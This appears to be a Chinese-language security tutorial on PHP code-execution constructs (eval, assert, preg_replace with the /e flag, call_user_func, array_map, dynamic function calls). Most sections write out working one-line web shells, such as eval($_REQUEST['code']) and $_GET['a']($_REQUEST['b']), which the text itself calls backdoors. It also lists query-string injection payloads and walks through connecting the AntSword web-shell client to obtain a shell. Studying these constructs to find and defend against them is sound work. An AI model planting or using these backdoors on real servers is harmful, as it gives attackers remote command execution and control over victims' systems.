PHP 危险函数2-代码执行语句

代码执行语句

eval()

  • 不是函数,不能被动态调用,并且需要以 ;结束

  • 直接输出,不执行

    
        $code="phpinfo();";
    	echo $code;
        ?>
    

    PHP 危险函数2-代码执行语句_第1张图片

  • eval() 语句执行

    
        $code="phpinfo();";
    	eval($code);      // eval 不是函数,最后要加 ;
        ?>
    

    PHP 危险函数2-代码执行语句_第2张图片

  • 动态执行

    
        $code=$_REQUEST["code"];
    	eval($code);
        ?>
    

    PHP 危险函数2-代码执行语句_第3张图片

  • 一句话木马

    
        eval($_REQUEST["code"]);
        ?>
    

    PHP 危险函数2-代码执行语句_第4张图片

    蚁剑执行命令

    PHP 危险函数2-代码执行语句_第5张图片

  • 其他执行方式

    ?code=phpinfo();
    
    ?code=${phpinfo()};
    
    ?code=echo abc;phpinfo();
    
    ?code=?>this is a test<?php phpinfo();
    
    ?code=eval(phpinfo());
    

assert()

  • 高版本中删除了 assert()

  • 使用方法

    
    	assert("<执行语句>");
        ?>
    
  • 调用系统函数

    PHP 危险函数2-代码执行语句_第6张图片

  • 动态调用

    
        $code=$_REQUEST["code"];
    	assert($code);
        ?>
    

    PHP 危险函数2-代码执行语句_第7张图片

  • 蚁剑连接

    PHP 危险函数2-代码执行语句_第8张图片

preg_replace()

  • 正则匹配,替换

  • 替换字符,忽略大小写

    
        $code=preg_replace("/a/i","e","abAcd");
    	//  "//"两个斜线中的为正则表达式,后面跟选项i,表示不区分大小写
    	// 此处将 abAcd 中无论大小写的 a 全替换成 e
    	echo $code;
        ?>
    

    PHP 危险函数2-代码执行语句_第9张图片

    
        $code=preg_replace("/\[.*\]/i","e","[abcde]");
    	//  "//"两个斜线中的未正则表达式,后面跟选项i,表示不区分大小写
    	//  \ 用来进行转义
    	//  .* 表示全部内容
    	// 此处将 [abede] 包括中括号,替换成 e
    	echo $code;
        ?>
    

    PHP 危险函数2-代码执行语句_第10张图片

    $code= preg_replace("/\[(.*)\]/i","e","[phpinfo()]");
    // 匹配方括号中的任意字符序列,并将其替换为字母 "e"。所以,"[phpinfo()]" 会被替换为 "e"。最终,变量 $code 的值将是 "e"。
    
  • 捕获 [] 中的内容

    
        $code= preg_replace("/\[(.*)\]/i","\\1","[phpinfo()]");
    		\\1 第一次匹配的不明确的字符(此处为 phpinfo())
    
    
    	//		\[(.*)\] 是正则表达式的模式,用于匹配方括号 [ 和 ] 之间的任意字符序列,并将其作为捕获组。
    	//		\[ 匹配左方括号 [。
    	//		(.*) 匹配任意字符序列,并将其作为捕获组。
    	//		\] 匹配右方括号 ]。
    	//		"\\1" 是替换字符串,其中 \\1 表示引用第一个捕获组的内容。
    	//		将目标字符串 "[phpinfo()]" 中的方括号及其内部的任意字符序列替换为捕获组中的内容。在这个例子中,捕获组中的内容是 "phpinfo()",所以最终 $code 的值将是 "phpinfo()"。
    	echo $code;
        ?>
    

    PHP 危险函数2-代码执行语句_第11张图片

  • 执行捕获的 [] 中的内容

    
        $code= preg_replace("/\[(.*)\]/ie","\\1","[phpinfo()]");
        //	\\1 第一次匹配的不明确的字符(此处为 phpinfo())
        // 此处的参数 e 会将匹配出的不明确字符执行
    	echo $code;
        ?>
    

    PHP 危险函数2-代码执行语句_第12张图片

回调函数

  • 可以调用其他函数的函数
  • call_user_func()、array_map()
  • eval()、isset() 等为语言结构,不是函数,不能被回调

call_user_func()

  • 使用

    
    	call_user_func(<调用的函数>,<要传的参数>);
        ?>
    
  • 
        $func="assert";
    	$code="phpinfo()";
    	call_user_func($func,$code);
        ?>
    

    PHP 危险函数2-代码执行语句_第13张图片

  • 动态执行

    
        $func=$_REQUEST["func"];
    	$code=$_REQUEST["code"];
    	call_user_func($func,$code);
        ?>
    

    PHP 危险函数2-代码执行语句_第14张图片

    PHP 危险函数2-代码执行语句_第15张图片

  • 连接蚁剑

    PHP 危险函数2-代码执行语句_第16张图片

array_map()

  • 第二个参数必须是数组

  • 使用

    
        $func=$_REQUEST["func"];
    	$code[]="phpinfo()";
    	array_map($func,$code);
        ?>
    

    PHP 危险函数2-代码执行语句_第17张图片

  • 动态执行

    
        $func=$_REQUEST["func"];
    	$code=$_REQUEST["code"];
    	array_map($func,$code);
        ?>
    

    PHP 危险函数2-代码执行语句_第18张图片

动态函数

  • 在 php 中写入最简单的后门函数

    
        $_GET['a']($_GET['b']);
        ?>
    

    访问此 php 页面

    PHP 危险函数2-代码执行语句_第19张图片

    修改传参,成功执行命令

    PHP 危险函数2-代码执行语句_第20张图片

蚁剑连接

  • eval 为一种语言结构,而非函数,不能动态调用

  • 可以将 assert 当作 a 的参数,b 的参数为一句话木马,连接蚁剑

    • 蚁剑为 POST 传参,需要将传参方式设置为 $_POST$_REQUEST

      <pre>
      <?php
          $_GET['a']($_REQUEST['b']);
          ?>
      

      PHP 危险函数2-代码执行语句_第21张图片

  • 蚁剑连接

    输入传参后的 url

    注意

    assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码

    连接密码为 $_REQUEST['b'] 中的 b

    PHP 危险函数2-代码执行语句_第22张图片

  • 获取 shell

    PHP 危险函数2-代码执行语句_第23张图片

你可能感兴趣的:(PHP,php,android,开发语言,网络安全,运维)